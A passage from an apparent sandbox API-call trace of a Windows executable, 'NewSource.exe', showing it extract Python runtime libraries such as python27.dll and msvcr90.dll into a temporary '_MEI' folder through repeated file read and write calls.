lpNumberOfBytesWritten=0x4fcd00*=0x37000, lpOverlapped=0x0) returned 1 [0035.152] CloseHandle (hObject=0x10c) returned 1 [0035.157] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x570698 | out: hHeap=0x530000) returned 1 [0035.157] htonl (hostlong=0x20000000) returned 0x20 [0035.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.158] GetFileType (hFile=0x10c) returned 0x1 [0035.158] htonl (hostlong=0xc1192200) returned 0x2219c1 [0035.158] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x26c9c1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.158] htonl (hostlong=0x666a0200) returned 0x26a66 [0035.158] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x26a66) returned 0x560088 [0035.158] htonl (hostlong=0x666a0200) returned 0x26a66 [0035.158] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x26000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x26000, lpOverlapped=0x0) returned 1 [0035.161] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.161] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.161] htonl (hostlong=0x90b40800) returned 0x8b490 [0035.161] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b490) returned 0xc38020 [0035.162] htonl (hostlong=0x666a0200) returned 0x26a66 [0035.162] htonl (hostlong=0x90b40800) returned 0x8b490 [0035.162] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x586af8 [0035.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x586af8 | out: hHeap=0x530000) returned 1 [0035.175] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.176] CloseHandle (hObject=0x10c) returned 1 [0035.176] GetLastError () returned 0x0 [0035.176] SetLastError (dwErrCode=0x0) [0035.176] GetLastError () returned 0x0 [0035.176] SetLastError (dwErrCode=0x0) [0035.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcp90.dll") returned 57 [0035.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcp90.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\msvcp90.dll"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.176] GetLastError () returned 0x2 [0035.176] SetLastError (dwErrCode=0x2) [0035.177] GetLastError () returned 0x2 [0035.177] SetLastError (dwErrCode=0x2) [0035.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcp90.dll", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcp90.dll", lpFilePart=0x0) returned 0x38 [0035.177] GetLastError () returned 0x2 [0035.177] SetLastError (dwErrCode=0x2) [0035.177] GetLastError () returned 0x2 [0035.177] SetLastError (dwErrCode=0x2) [0035.177] GetLastError () returned 0x2 [0035.177] SetLastError (dwErrCode=0x2) [0035.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcp90.dll") returned 57 [0035.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcp90.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\msvcp90.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.177] GetFileType (hFile=0x10c) returned 0x1 [0035.177] htonl (hostlong=0x90b40800) returned 0x8b490 [0035.177] WriteFile (in: hFile=0x10c, lpBuffer=0xc38020*, nNumberOfBytesToWrite=0x8b000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0xc38020*, lpNumberOfBytesWritten=0x4fcd00*=0x8b000, lpOverlapped=0x0) returned 1 [0035.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.187] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x490, lpOverlapped=0x0) returned 1 [0035.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.187] CloseHandle (hObject=0x10c) returned 1 [0035.198] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc38020 | out: hHeap=0x530000) returned 1 [0035.200] htonl (hostlong=0x20000000) returned 0x20 [0035.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.200] GetFileType (hFile=0x10c) returned 0x1 [0035.200] htonl (hostlong=0x27842400) returned 0x248427 [0035.200] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x293427, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.200] htonl (hostlong=0x4bda0400) returned 0x4da4b [0035.200] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4da4b) returned 0x560088 [0035.201] htonl (hostlong=0x4bda0400) returned 0x4da4b [0035.201] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4d000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4d000, lpOverlapped=0x0) returned 1 [0035.204] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.204] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.204] htonl (hostlong=0x90fa0900) returned 0x9fa90 [0035.204] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9fa90) returned 0xc33020 [0035.206] htonl (hostlong=0x4bda0400) returned 0x4da4b [0035.206] htonl (hostlong=0x90fa0900) returned 0x9fa90 [0035.206] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5adae0 [0035.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5adae0 | out: hHeap=0x530000) returned 1 [0035.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.218] CloseHandle (hObject=0x10c) returned 1 [0035.218] GetLastError () returned 0x0 [0035.218] SetLastError (dwErrCode=0x0) [0035.218] GetLastError () returned 0x0 [0035.218] SetLastError (dwErrCode=0x0) [0035.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcr90.dll") returned 57 [0035.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcr90.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\msvcr90.dll"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.219] GetLastError () returned 0x2 [0035.219] SetLastError (dwErrCode=0x2) [0035.219] GetLastError () returned 0x2 [0035.219] SetLastError (dwErrCode=0x2) [0035.219] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcr90.dll", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcr90.dll", lpFilePart=0x0) returned 0x38 [0035.219] GetLastError () returned 0x2 [0035.219] SetLastError (dwErrCode=0x2) [0035.219] GetLastError () returned 0x2 [0035.219] SetLastError (dwErrCode=0x2) [0035.219] GetLastError () returned 0x2 [0035.219] SetLastError (dwErrCode=0x2) [0035.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcr90.dll") returned 57 [0035.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcr90.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\msvcr90.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.219] GetFileType (hFile=0x10c) returned 0x1 [0035.219] htonl (hostlong=0x90fa0900) returned 0x9fa90 [0035.219] WriteFile (in: hFile=0x10c, lpBuffer=0xc33020*, nNumberOfBytesToWrite=0x9f000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0xc33020*, lpNumberOfBytesWritten=0x4fcd00*=0x9f000, lpOverlapped=0x0) returned 1 [0035.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.233] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa90, lpOverlapped=0x0) returned 1 [0035.233] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.233] CloseHandle (hObject=0x10c) returned 1 [0035.246] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc33020 | out: hHeap=0x530000) returned 1 [0035.248] htonl (hostlong=0x20000000) returned 0x20 [0035.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.249] GetFileType (hFile=0x10c) returned 0x1 [0035.249] htonl (hostlong=0x725e2900) returned 0x295e72 [0035.249] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x2e0e72, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.249] htonl (hostlong=0xdafb0000) returned 0xfbda [0035.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfbda) returned 0x560088 [0035.249] htonl (hostlong=0xdafb0000) returned 0xfbda [0035.249] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0xf000, lpOverlapped=0x0) returned 1 [0035.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.249] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.249] htonl (hostlong=0x300200) returned 0x23000 [0035.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x23000) returned 0x56fc70 [0035.249] htonl (hostlong=0xdafb0000) returned 0xfbda [0035.249] htonl (hostlong=0x300200) returned 0x23000 [0035.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x592c78 [0035.250] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x592c78 | out: hHeap=0x530000) returned 1 [0035.251] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.251] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.251] CloseHandle (hObject=0x10c) returned 1 [0035.251] GetLastError () returned 0x0 [0035.251] SetLastError (dwErrCode=0x0) [0035.251] GetLastError () returned 0x0 [0035.251] SetLastError (dwErrCode=0x0) [0035.251] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\pyexpat.pyd") returned 57 [0035.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\pyexpat.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\pyexpat.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.252] GetLastError () returned 0x2 [0035.252] SetLastError (dwErrCode=0x2) [0035.252] GetLastError () returned 0x2 [0035.252] SetLastError (dwErrCode=0x2) [0035.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\pyexpat.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\pyexpat.pyd", lpFilePart=0x0) returned 0x38 [0035.252] GetLastError () returned 0x2 [0035.252] SetLastError (dwErrCode=0x2) [0035.252] GetLastError () returned 0x2 [0035.252] SetLastError (dwErrCode=0x2) [0035.252] GetLastError () returned 0x2 [0035.252] SetLastError (dwErrCode=0x2) [0035.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\pyexpat.pyd") returned 57 [0035.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\pyexpat.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\pyexpat.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.252] GetFileType (hFile=0x10c) returned 0x1 [0035.252] htonl (hostlong=0x300200) returned 0x23000 [0035.252] WriteFile (in: hFile=0x10c, lpBuffer=0x56fc70*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x56fc70*, lpNumberOfBytesWritten=0x4fcd00*=0x23000, lpOverlapped=0x0) returned 1 [0035.257] CloseHandle (hObject=0x10c) returned 1 [0035.260] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56fc70 | out: hHeap=0x530000) returned 1 [0035.261] htonl (hostlong=0x20000000) returned 0x20 [0035.261] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.261] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.261] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.261] GetFileType (hFile=0x10c) returned 0x1 [0035.261] htonl (hostlong=0x4c5a2a00) returned 0x2a5a4c [0035.261] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x2f0a4c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.261] htonl (hostlong=0x506d1200) returned 0x126d50 [0035.261] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x126d50) returned 0x21b3020 [0035.264] htonl (hostlong=0x506d1200) returned 0x126d50 [0035.264] ReadFile (in: hFile=0x10c, lpBuffer=0x21b3020, nNumberOfBytesToRead=0x126000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x21b3020*, lpNumberOfBytesRead=0x4fcd58*=0x126000, lpOverlapped=0x0) returned 1 [0035.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.396] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.396] htonl (hostlong=0x702800) returned 0x287000 [0035.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x287000) returned 0x22ef020 [0035.402] htonl (hostlong=0x506d1200) returned 0x126d50 [0035.402] htonl (hostlong=0x702800) returned 0x287000 [0035.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0035.495] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.496] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x21b3020 | out: hHeap=0x530000) returned 1 [0035.502] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.502] CloseHandle (hObject=0x10c) returned 1 [0035.502] GetLastError () returned 0x0 [0035.502] SetLastError (dwErrCode=0x0) [0035.502] GetLastError () returned 0x0 [0035.502] SetLastError (dwErrCode=0x0) [0035.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll") returned 58 [0035.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\python27.dll"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.502] GetLastError () returned 0x2 [0035.502] SetLastError (dwErrCode=0x2) [0035.502] GetLastError () returned 0x2 [0035.502] SetLastError (dwErrCode=0x2) [0035.502] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll", lpFilePart=0x0) returned 0x39 [0035.502] GetLastError () returned 0x2 [0035.503] SetLastError (dwErrCode=0x2) [0035.503] GetLastError () returned 0x2 [0035.503] SetLastError (dwErrCode=0x2) [0035.503] GetLastError () returned 0x2 [0035.503] SetLastError (dwErrCode=0x2) [0035.503] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll") returned 58 [0035.503] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\python27.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.503] GetFileType (hFile=0x10c) returned 0x1 [0035.503] htonl (hostlong=0x702800) returned 0x287000 [0035.503] WriteFile (in: hFile=0x10c, lpBuffer=0x22ef020*, nNumberOfBytesToWrite=0x287000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x22ef020*, lpNumberOfBytesWritten=0x4fcd00*=0x287000, lpOverlapped=0x0) returned 1 [0035.572] CloseHandle (hObject=0x10c) returned 1 [0035.644] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x22ef020 | out: hHeap=0x530000) returned 1 [0035.655] htonl (hostlong=0x20000000) returned 0x20 [0035.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.656] GetFileType (hFile=0x10c) returned 0x1 [0035.656] htonl (hostlong=0x9cc73c00) returned 0x3cc79c [0035.656] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x41779c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.656] htonl (hostlong=0x11150000) returned 0x1511 [0035.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1511) returned 0x55d270 [0035.656] htonl (hostlong=0x11150000) returned 0x1511 [0035.656] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0035.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0035.657] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.657] htonl (hostlong=0x280000) returned 0x2800 [0035.657] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2800) returned 0x561090 [0035.660] htonl (hostlong=0x11150000) returned 0x1511 [0035.660] htonl (hostlong=0x280000) returned 0x2800 [0035.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563898 [0035.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563898 | out: hHeap=0x530000) returned 1 [0035.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.660] CloseHandle (hObject=0x10c) returned 1 [0035.660] GetLastError () returned 0x0 [0035.660] SetLastError (dwErrCode=0x0) [0035.660] GetLastError () returned 0x0 [0035.660] SetLastError 